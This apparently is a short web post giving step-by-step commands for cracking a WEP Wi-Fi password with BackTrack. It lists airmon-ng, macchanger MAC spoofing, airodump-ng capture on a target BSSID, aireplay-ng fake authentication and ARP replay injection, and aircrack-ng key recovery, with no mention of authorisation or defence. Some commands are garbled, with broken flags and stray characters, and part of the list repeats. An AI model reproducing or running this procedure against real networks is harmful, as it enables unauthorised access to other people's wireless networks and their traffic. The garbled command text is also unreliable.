HOW TO CRACK WI FI NETWORK wep PASSWORD WITH BACK TRACK

HOW TO CRACK WI FI NETWORK wep PASSWORD WITH BACK TRACK???
1 Airmon-ng
2 Airmon-ng stop (interface)
3 Macchanger –mac 00:11:22:33:44:55 interface
4 Airmon-ng start interface
5 Airodump-ng mon0
6 Airodump-ng –c (channel) –w (filename) -- bssid interface

New Konsole

1 Aireplay-ng -1 0 –a (bssid ) -h 00:11:22:33:44:55 wlan0
2 Aireplay-ng -3 –b (bssid) -h 00:11:22:33:44:55 wlan0

New Konsole
1 Aircrack-ng (filename-01.cap)0

Step s:
1 Airmon-ng
2 Airmon-ng start interface name
3 Airodump –ng mon0
4 Ctrl +c
5 Airodump-ng –c (channel) -- bssid interface -w crack interfacename
6 Aircrack –ng crack -01.cap / Aircrack –ng crack *.cap